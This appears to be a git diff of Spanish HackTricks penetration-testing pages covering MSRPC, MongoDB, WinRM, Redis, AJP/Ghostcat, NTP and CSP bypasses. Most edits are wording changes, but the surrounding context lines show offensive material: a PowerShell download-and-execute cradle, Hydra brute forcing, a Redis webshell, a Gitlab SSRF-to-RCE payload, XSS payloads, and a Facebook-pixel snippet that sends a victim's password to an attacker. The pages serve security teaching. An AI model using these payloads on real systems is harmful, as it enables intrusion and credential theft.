Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
<summary>Support HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -46,7 +46,7 @@ Iniciado por la aplicación cliente, el proceso MSRPC implica llamar a un proced
## **Identificación de Servicios RPC Expuestos**
La exposición de servicios RPC a través de TCP, UDP, HTTP y SMB se puede determinar consultando el servicio de localización RPC y puntos finales individuales. Herramientas como rpcdump facilitan la identificación de servicios RPC únicos, denotados por valores **IFID**, revelando detalles del servicio y enlaces de comunicación:
La exposición de servicios RPC a través de TCP, UDP, HTTP y SMB se puede determinar consultando el servicio localizador de RPC y los puntos finales individuales. Herramientas como rpcdump facilitan la identificación de servicios RPC únicos, denotados por valores **IFID**, revelando detalles del servicio y enlaces de comunicación:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -54,7 +54,7 @@ Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```
El acceso al servicio de localización RPC está habilitado a través de protocolos específicos: ncacn\_ip\_tcp y ncadg\_ip\_udp para acceder a través del puerto 135, ncacn\_np para conexiones SMB, y ncacn\_http para comunicación RPC basada en web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con los servicios MSRPC, centrándose principalmente en el puerto 135:
El acceso al servicio de localización RPC está habilitado a través de protocolos específicos: ncacn\_ip\_tcp y ncadg\_ip\_udp para acceder a través del puerto 135, ncacn\_np para conexiones SMB y ncacn\_http para comunicación RPC basada en la web. Los siguientes comandos ejemplifican la utilización de módulos de Metasploit para auditar e interactuar con los servicios MSRPC, centrándose principalmente en el puerto 135:
```bash
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
@ -117,7 +117,7 @@ El **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/97805965
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -68,9 +68,9 @@ nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mo
```
### Shodan
* Todos los mongodb: `"mongodb server information"`
* Todos mongodb: `"mongodb server information"`
* Buscar servidores mongodb completamente abiertos: `"mongodb server information" -"partially enabled"`
* Solo habilitar parcialmente la autenticación: `"mongodb server information" "partially enabled"`
* Solo autenticación parcialmente habilitada: `"mongodb server information" "partially enabled"`
## Login
@ -88,7 +88,7 @@ nmap -n -sV --script mongodb-brute -p 27017 <ip>
```
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#mongo)
Mira dentro de _/opt/bitnami/mongodb/mongodb.conf_ para saber si se necesitan credenciales:
Mire dentro de _/opt/bitnami/mongodb/mongodb.conf_ para saber si se necesitan credenciales:
```bash
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
@ -97,7 +97,7 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not
Ejemplo [de aquí](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
Los IDs de objeto de Mongo son **cadenas hexadecimales de 12 bytes**:
Los IDs de objeto de Mongo son cadenas **hexadecimales de 12 bytes**:
![http://techidiocy.com/\_id-objectid-in-mongodb/](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png)
@ -118,9 +118,9 @@ Si eres root, puedes **modificar** el archivo **mongodb.conf** para que no se ne
***
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores.
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas de errores!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -92,7 +92,7 @@ Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-c
```powershell
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Obtener una sesión de PS
### Obtener una sesión PS
Para obtener un shell interactivo de PowerShell, utiliza `Enter-PSSession`:
```powershell
@ -121,9 +121,9 @@ Para usar PS Remoting y WinRM pero la computadora no está configurada, podrías
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Guardar y Restaurar sesiones
### Guardar y restaurar sesiones
Esto **no funcionará** si el **idioma** está **constriñido** en el ordenador remoto.
Esto **no funcionará** si el **idioma** está **constriñido** en la computadora remota.
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -145,12 +145,12 @@ Si encuentras el siguiente error:
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
Intenta en el cliente (info de [aquí](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
El intento en el cliente (info de [aquí](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
@ -304,7 +304,7 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -161,7 +161,7 @@ Luego, coloca tu dirección IP y puerto en la opción **R-Shell** y haz clic en
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -141,7 +141,7 @@ DUMP <key>
```
**Volcar la base de datos con npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
@ -166,7 +166,7 @@ Mantente informado sobre las nuevas recompensas por errores que se lanzan y actu
```
### PHP Webshell
Info from [**aquí**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Debes conocer la **ruta** de la **carpeta del sitio web**:
Info de [**aquí**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Debes conocer la **ruta** de la **carpeta del sitio web**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -292,11 +292,11 @@ Si puedes enviar una solicitud **en texto claro** **a Redis**, puedes **comunica
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Por lo tanto, si encuentras una **SSRF vuln** en un sitio web y puedes **controlar** algunos **headers** (quizás con una vulnerabilidad CRLF) o **parámetros POST**, podrás enviar comandos arbitrarios a Redis.
Por lo tanto, si encuentras una **SSRF vuln** en un sitio web y puedes **controlar** algunos **headers** (quizás con una vulnerabilidad CRLF) o **POST parameters**, podrás enviar comandos arbitrarios a Redis.
### Ejemplo: Gitlab SSRF + CRLF a Shell
En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la **funcionalidad de importar proyecto desde URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** se explotó simplemente **agregando caracteres %0D%0A** a la **URL**.
En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la **funcionalidad de importar proyecto desde URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** fue explotada simplemente **agregando caracteres %0D%0A** a la **URL**.
Por lo tanto, fue posible **abusar de estas vulnerabilidades para comunicarse con la instancia de Redis** que **gestiona colas** de **gitlab** y abusar de esas colas para **obtener ejecución de código**. La carga útil de abuso de la cola de Redis es:
```
@ -311,7 +311,7 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
```
_Por alguna razón (como para el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se tomó esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -34,7 +34,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
> AJP es un protocolo de red. Es una versión optimizada del protocolo HTTP para permitir que un servidor web independiente como [Apache](http://httpd.apache.org/) se comunique con Tomcat. Históricamente, Apache ha sido mucho más rápido que Tomcat al servir contenido estático. La idea es permitir que Apache sirva el contenido estático cuando sea posible, pero que haga un proxy de la solicitud a Tomcat para el contenido relacionado con Tomcat.
> AJP es un protocolo de red. Es una versión optimizada del protocolo HTTP para permitir que un servidor web independiente como [Apache](http://httpd.apache.org/) se comunique con Tomcat. Históricamente, Apache ha sido mucho más rápido que Tomcat al servir contenido estático. La idea es permitir que Apache sirva el contenido estático cuando sea posible, pero que haga proxy de la solicitud a Tomcat para el contenido relacionado con Tomcat.
También interesante:
@ -49,13 +49,13 @@ PORT STATE SERVICE
Si el puerto AJP está expuesto, Tomcat podría ser susceptible a la vulnerabilidad Ghostcat. Aquí hay un [exploit](https://www.exploit-db.com/exploits/48143) que funciona con este problema.
Ghostcat es una vulnerabilidad LFI, pero algo restringida: solo se pueden extraer archivos de una cierta ruta. Aún así, esto puede incluir archivos como `WEB-INF/web.xml` que pueden leak información importante como credenciales para la interfaz de Tomcat, dependiendo de la configuración del servidor.
Ghostcat es una vulnerabilidad LFI, pero algo restringida: solo se pueden extraer archivos de una cierta ruta. Aún así, esto puede incluir archivos como `WEB-INF/web.xml` que pueden filtrar información importante como credenciales para la interfaz de Tomcat, dependiendo de la configuración del servidor.
Las versiones parcheadas en o superiores a 9.0.31, 8.5.51 y 7.0.100 han solucionado este problema.
## Enumeration
## Enumeración
### Automatic
### Automático
```bash
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
```
@ -174,9 +174,9 @@ msf exploit(tomcat_mgr_deploy) > show options
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
@ -185,7 +185,7 @@ Participa en contenido que profundiza en la emoción y los desafíos del hacking
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!

View file

@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
{% endhint %}
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -63,17 +63,17 @@ ntpdc -c sysinfo <IP_ADDRESS>
```bash
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
```
## Examine configuration files
## Examinar archivos de configuración
* ntp.conf
## NTP Amplification Attack
## Ataque de amplificación NTP
[**Cómo funciona el ataque DDoS de NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
[**Cómo funciona el ataque DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
El **protocolo NTP**, utilizando UDP, permite la operación sin la necesidad de procedimientos de apretón de manos, a diferencia de TCP. Esta característica se explota en **ataques de amplificación DDoS de NTP**. Aquí, los atacantes crean paquetes con una IP de origen falsa, haciendo que parezca que las solicitudes de ataque provienen de la víctima. Estos paquetes, inicialmente pequeños, hacen que el servidor NTP responda con volúmenes de datos mucho más grandes, amplificando el ataque.
El **protocolo NTP**, utilizando UDP, permite la operación sin la necesidad de procedimientos de apretón de manos, a diferencia de TCP. Esta característica se explota en **ataques de amplificación DDoS NTP**. Aquí, los atacantes crean paquetes con una IP de origen falsa, haciendo que parezca que las solicitudes de ataque provienen de la víctima. Estos paquetes, inicialmente pequeños, hacen que el servidor NTP responda con volúmenes de datos mucho más grandes, amplificando el ataque.
El _**COMANDO MONLIST**_, a pesar de su uso raro, puede informar sobre los últimos 600 clientes conectados al servicio NTP. Si bien el comando en sí es simple, su uso indebido en tales ataques destaca vulnerabilidades críticas de seguridad.
El _**MONLIST**_ comando, a pesar de su uso raro, puede informar sobre los últimos 600 clientes conectados al servicio NTP. Aunque el comando en sí es simple, su uso indebido en tales ataques destaca vulnerabilidades críticas de seguridad.
```bash
ntpdc -n -c monlist <IP>
```
@ -100,7 +100,7 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
@ -124,7 +124,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## What is CSP
La Política de Seguridad de Contenidos (CSP) es reconocida como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en forma de cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
La Política de Seguridad de Contenidos (CSP) es reconocida como una tecnología de navegador, principalmente destinada a **proteger contra ataques como el scripting entre sitios (XSS)**. Funciona definiendo y detallando rutas y fuentes desde las cuales los recursos pueden ser cargados de manera segura por el navegador. Estos recursos abarcan una variedad de elementos como imágenes, marcos y JavaScript. Por ejemplo, una política podría permitir la carga y ejecución de recursos desde el mismo dominio (self), incluyendo recursos en línea y la ejecución de código en cadena a través de funciones como `eval`, `setTimeout` o `setInterval`.
La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada.
@ -80,7 +80,7 @@ object-src 'none';
* **object-src**: Define fuentes permitidas para elementos `<object>`, `<embed>`, y `<applet>`.
* **base-uri**: Especifica URLs permitidas para cargar usando elementos `<base>`.
* **form-action**: Enumera puntos finales válidos para envíos de formularios.
* **plugin-types**: Restringe los tipos MIME que una página puede invocar.
* **plugin-types**: Restringe tipos MIME que una página puede invocar.
* **upgrade-insecure-requests**: Instruye a los navegadores a reescribir URLs HTTP a HTTPS.
* **sandbox**: Aplica restricciones similares al atributo sandbox de un `<iframe>`.
* **report-to**: Especifica un grupo al que se enviará un informe si se viola la política.
@ -115,7 +115,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
</details>
* `'sha256-<hash>'`: Permite scripts con un hash sha256 específico.
* `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido permitido por un nonce o hash.
* `'strict-dynamic'`: Permite cargar scripts de cualquier fuente si ha sido autorizado por un nonce o hash.
* `'host'`: Especifica un host específico, como `example.com`.
* `https:`: Restringe las URL a aquellas que utilizan HTTPS.
* `blob:`: Permite que los recursos se carguen desde URLs Blob (por ejemplo, URLs Blob creadas a través de JavaScript).
@ -131,7 +131,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
Payload funcional: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' a través de Iframes
@ -188,9 +188,9 @@ Carga útil en funcionamiento:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir determinados tipos de archivos**.
Sin embargo, es muy probable que el servidor esté **validando el archivo subido** y solo te permita **subir un tipo determinado de archivos**.
Además, incluso si pudieras subir un **código JS dentro** de un archivo con una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la extensión _**.wave**_, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
Además, incluso si pudieras subir un **código JS dentro** de un archivo utilizando una extensión aceptada por el servidor (como: _script.png_), esto no sería suficiente porque algunos servidores como el servidor apache **seleccionan el tipo MIME del archivo según la extensión** y navegadores como Chrome **rechazarán ejecutar código Javascript** dentro de algo que debería ser una imagen. "Esperemos", hay errores. Por ejemplo, de un CTF aprendí que **Apache no conoce** la _**.wave**_ extensión, por lo tanto, no la sirve con un **tipo MIME como audio/\***.
A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una **extensión malinterpretada**, podrías intentar subir un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo subido, crear un poliglota ([algunos ejemplos de poliglota aquí](https://github.com/Polydet/polyglot-database)).
@ -201,7 +201,7 @@ Si no es posible inyectar JS, aún podrías intentar exfiltrar, por ejemplo, cre
### Third Party Endpoints + ('unsafe-eval')
{% hint style="warning" %}
Para algunos de los siguientes payloads **`unsafe-eval` ni siquiera es necesario**.
Para algunos de los siguientes payload **`unsafe-eval` ni siquiera es necesario**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
@ -322,7 +322,7 @@ La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una
Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que podrían estar permitidos en algún lugar del CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son:
| Entidad | Dominio Permitido | Capacidades |
| ------------------ | ------------------------------------------ | ------------- |
| ------------------ | ------------------------------------------- | ------------- |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
@ -351,14 +351,14 @@ Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho co
5. Ve a "Administrador de eventos" de tu aplicación y selecciona la aplicación que creaste (ten en cuenta que el administrador de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Selecciona la pestaña "Eventos de prueba" para ver los eventos que se envían desde "tu" sitio web.
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al ID de aplicación de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este:
Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al app-id de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicaciones adicionales sobre otros abusos de terceros.
En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta el [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicaciones adicionales sobre otros abusos de terceros.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
@ -390,14 +390,14 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb
Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/).
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) utilizando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
Además, si la **página está cargando un script usando una ruta relativa** (como `<script src="/js/app.js">`) usando un **Nonce**, puedes abusar de la **etiqueta base** para hacer que **cargue** el script desde **tu propio servidor logrando un XSS.**\
Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la base.
```html
<base href="https://www.attacker.com/">
```
### AngularJS events
